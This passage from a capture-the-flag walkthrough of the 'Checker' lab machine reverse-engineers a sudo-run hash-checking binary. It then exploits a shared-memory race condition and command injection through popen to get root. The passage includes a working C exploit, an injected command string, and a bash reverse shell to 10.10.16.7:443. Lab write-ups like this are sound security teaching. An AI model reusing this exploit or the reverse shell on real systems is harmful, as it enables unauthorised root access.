$2b$10$O4OQizv0TVsWxWi26tg8Xu3SCS29ZEv9JqwlY5ED240qW8V0eyG7a
$2b$10$/1ePaOFZrcpNHWFk72ZNpepXRvXIi1zMSBYBGGqxfUlxw/JiQQvCG
$2b$10$/0az8KLoanuz3rfiN.Ck9./Mt6IHxs5OGtKbgM31Z0NH9maz1hPDe
$2b$10$VGR3JK.E0Cc3OnY9FuB.u.qmwFBBRCrRLAvUlPnO5QW5SpD1tEeDO
$2b$10$9p/iOwsybwutYoL3xc5jaeCmYu7sffW/oDq3mpCUf4NSZtq2CXPYC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$8cXny33Ok0hbi2IY46gjJerQkEgKj.x1JJ6/orCvYdif07/tD8dUK
$2b$10$QAcqcdyu1T1qcpM4ZQeM6uJ3dXw2eqT/lUUGZvNXzhYqcEEuwHrvS
$2b$10$M1VMeJrjgaIbz2g2TCm/ou2srr4cd3c18gxLA32NhvpXwxo3P5DZW
$2b$10$rxp3yM98.NcbD3NeHLjGUujzIEWYJ5kiSynHOHo0JvUvXq6cBLuRO
$2b$10$ZOUUTIj7JoIMwoKsXVOsdOkTzKgHngBCqkt.ASKf78NUwfeIB4glK

reader@checker:~$ cat /opt/hash-checker/leaked_hashes.txt | wc -l

24

If we run this script with sudo we get:

reader@checker:/dev/shm$ sudo /opt/hash-checker/check-leak.sh
Error: <USER> is not provided.

reader@checker:/dev/shm$ sudo /opt/hash-checker/check-leak.sh test
User not found in the database.

reader@checker:/dev/shm$ sudo /opt/hash-checker/check-leak.sh root
User not found in the database.

reader@checker:/dev/shm$ sudo /opt/hash-checker/check-leak.sh bob

Password is leaked!
Using the shared memory 0xE1FBF as temp location
User will be notified via bob@checker.htb

The script works for bob user, a user we have previously found.

To know what check_leak binary does, we grab a copy of it to our attacker machine. Since SSH has 2FA, scp also asks for 2FA. Since I’m lazy, go to /opt/hash-checker/ directory and start a temporal Python HTTP server on port 9001 in the victim machine:

reader@checker:/dev/shm$ cd /opt/hash-checker/

reader@checker:/opt/hash-checker$ python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...

and in our attacker machine, download it using wget:

❯ wget http://10.10.11.56:9001/check_leak -q

Now we will make some Reverse Engineering with Ghidra. After opening it, we go to main function, where we can see:

undefined8 main(int param_1,ulong param_2)

{
  char *__s;
  char cVar1;
  uint uVar2;
  char *pcVar3;
  char *pcVar4;
  char *pcVar5;
  char *pcVar6;
  size_t sVar7;
  void *__ptr;
  
  pcVar3 = getenv("DB_HOST");
  pcVar4 = getenv("DB_USER");
  pcVar5 = getenv("DB_PASSWORD");
  pcVar6 = getenv("DB_NAME");
  if (*(char *)((param_2 + 8 >> 3) + 0x7fff8000) != '\0') {
    __asan_report_load8(param_2 + 8);
  }
  __s = *(char **)(param_2 + 8);
  if ((((pcVar3 == (char *)0x0) || (pcVar4 == (char *)0x0)) || (pcVar5 == (char *)0x0)) ||
     (pcVar6 == (char *)0x0)) {
    if (DAT_80019140 != '\0') {
      __asan_report_load8(&stderr);
    }
    fwrite("Error: Missing database credentials in environment\n",1,0x33,stderr);
    __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (param_1 != 2) {
    if (*(char *)((param_2 >> 3) + 0x7fff8000) != '\0') {
      __asan_report_load8(param_2);
    }
    if (DAT_80019140 != '\0') {
      __asan_report_load8(&stderr);
    }
    fprintf(stderr,"Usage: %s <USER>\n");
    __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (__s != (char *)0x0) {
    cVar1 = *(char *)(((ulong)__s >> 3) + 0x7fff8000);
    if (cVar1 <= (char)((byte)__s & 7) && cVar1 != '\0') {
      __asan_report_load1(__s);
    }
    if (*__s != '\0') {
      sVar7 = strlen(__s);
      if (0x14 < sVar7) {
        if (DAT_80019140 != '\0') {
          __asan_report_load8(&stderr);
        }
        fwrite("Error: <USER> is too long. Maximum length is 20 characters.\n",1,0x3c,stderr);
        __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      __ptr = (void *)fetch_hash_from_db(pcVar3,pcVar4,pcVar5,pcVar6,__s);
      if (__ptr == (void *)0x0) {
        puts("User not found in the database.");
      }
      else {
        cVar1 = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",__ptr);
        if (cVar1 == '\0') {
          puts("User is safe.");
        }
        else {
          puts("Password is leaked!");
          if (DAT_8001913c != '\0') {
            __asan_report_load8(&stdout);
          }
          fflush(stdout);
          uVar2 = write_to_shm(__ptr);
          printf("Using the shared memory 0x%X as temp location\n",(ulong)uVar2);
          if (DAT_8001913c != '\0') {
            __asan_report_load8(&stdout);
          }
          fflush(stdout);
          sleep(1);
          notify_user(pcVar3,pcVar4,pcVar5,pcVar6,uVar2);
          clear_shared_memory(uVar2);
        }
        free(__ptr);
      }
      return 0;
    }
  }
  if (DAT_80019140 != '\0') {
    __asan_report_load8(&stderr);
  }
  fwrite("Error: <USER> is not provided.\n",1,0x1f,stderr);
  __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
  exit(1);
}

The script shows that it checks that the user is shorter than 21 characters before searching for users in the database:

fwrite("Error: <USER> is too long. Maximum length is 20 characters.\n",1,0x3c,stderr)

After reading the code, the binary makes a request to a database. It searches for the user in the database. If it is in the database, it looks for its hash in the file /opt/hash-checker/leaked_hashes.txt. If the user’s hash is in the file, then it considers that user is “safe”; else it considers the password is leaked.

        isHashInFile = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",request_database);
        if (isHashInFile == '\0') {
          puts("User is safe.");
        }
        else {
          puts("Password is leaked!");
          if (DAT_8001913c != '\0') {
            __asan_report_load8(&stdout);
          }
          fflush(stdout);
          sharedMemoryAddress = write_to_shm(request_database);
          printf("Using the shared memory 0x%X as temp location\n",(ulong)sharedMemoryAddress);
          if (DAT_8001913c != '\0') {
            __asan_report_load8(&stdout);
          }
          fflush(stdout);
          sleep(1);
          notify_user(DBHOST,DBUSER,DBPASSWD,DBNAME,sharedMemoryAddress);
          clear_shared_memory(sharedMemoryAddress);
        }
        free(request_database);
      }
      return 0;

It also executes the function write_to_shm, whose main content it:

now_stamp = time((time_t *)0x0);
srand((uint)now_stamp);
key = rand();
shmid = shmget(key % 0xfffff,0x400,0x3b6);

Handles a process:

h_shm = (char *)shmat(shmid,(void *)0x0,0);

and writes the message about the memory:

snprintf(h_shm,0x400,"Leaked hash detected at %s > %s\n",timestamp,hash);
shmdt(h_shm);

Function notify_user seems interesting. It uses shmat and shmget to get the hash and then uses it:

      str = strstr(hash_shmat,"Leaked hash detected");
      if (str == (char *)0x0) {
        puts("No hash detected in shared memory.");
      }
      else {
        str = strchr(str,L'>');
        if (str == (char *)0x0) {
          puts("Malformed data in the shared memory.");
        }
        else {

and calls the hash using trim_bcrypt_hash function:

          trimmed_bcrypt_hash = trim_bcrypt_hash(cmd_instruction + 1);
          Set_MySQLPASSWD = setenv("MYSQL_PWD",DBPASSWD,1);
          if (Set_MySQLPASSWD == 0) {
            Set_MySQLPASSWD =
                 snprintf((char *)0x0,0,
                          "mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"%s\"\'"
                          ,param_2,param_4,trimmed_bcrypt_hash);
            cmd_instruction = (char *)malloc((long)(Set_MySQLPASSWD + 1));
            if (cmd_instruction == (char *)0x0) {
              puts("Failed to allocate memory for command");
              shmdt(hash_shmat);
              bVar5 = false;
            }
            else {
              snprintf(cmd_instruction,(long)(Set_MySQLPASSWD + 1),
                       "mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"% s\"\'"
                       ,param_2,param_4,trimmed_bcrypt_hash);
              __stream = popen(cmd_instruction,"r");
              if (__stream == (FILE *)0x0) {
                puts("Failed to execute MySQL query");
                free(cmd_instruction);
                shmdt(hash_shmat);
                bVar5 = false;
              }

It uses popen function. This command is running mysql command, which could be vulnerable to a Command Injection.

This means that the program writes a string to a shared memory buffer, sleeps for a second and then executes popen. If we can manipulate the shared memory buffer, we could execute commands as root.

Create a simple C script that uses the same random seed from check_leak, imitating write_to_shm but with a malicious purpose:

#include <stdio.h>
#include <stdlib.h>
#include <sys/shm.h>
#include <time.h>


int main() {
    time_t now = (unsigned int) time(NULL);
    srand(now);
    int key = rand() % 0xfffff;
    int shmid = shmget(key, 0x400, 0x3b6);
    char *h_shm = shmat(shmid, (void *) 0, 0);
    snprintf(h_shm, 0x400, "Leaked hash detected at anything > '; /dev/shm/gunzf0x;#");
    shmdt(h_shm);
}

which will execute the file /dev/shm/gunzf0x whose content is:

#!/bin/bash

/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.7/443 0>&1"

Write this file and assign execution permissions to it:

reader@checker:~$ echo -e '#!/bin/bash\n\n/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.7/443 0>&1"' > /dev/shm/gunzf0x && chmod +x /dev/shm/gunzf0x

In one terminal compile exploit.c and run it in an infinite loop:

reader@checker:~$ cd /dev/shm

reader@checker:/dev/shm$ nano exploit.c

reader@checker:/dev/shm$ gcc exploit.c -o exploit

reader@checker:/dev/shm$ while true; do ./exploit ; done

In our attacker machine, start a netcat listener on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Generate a second code to connect to SSH as reader user and connect again in a second terminal. Then, in that terminal, run the command with sudo, requesting bob hash:

reader@checker:~$ sudo /opt/hash-checker/check-leak.sh bob

Password is leaked!
Using the shared memory 0x160B8 as temp location
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1

and we get a connection as root:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.56] 56856
root@checker:/home/reader#

GG. We can grab the root flag at /root directory.

~Happy Hacking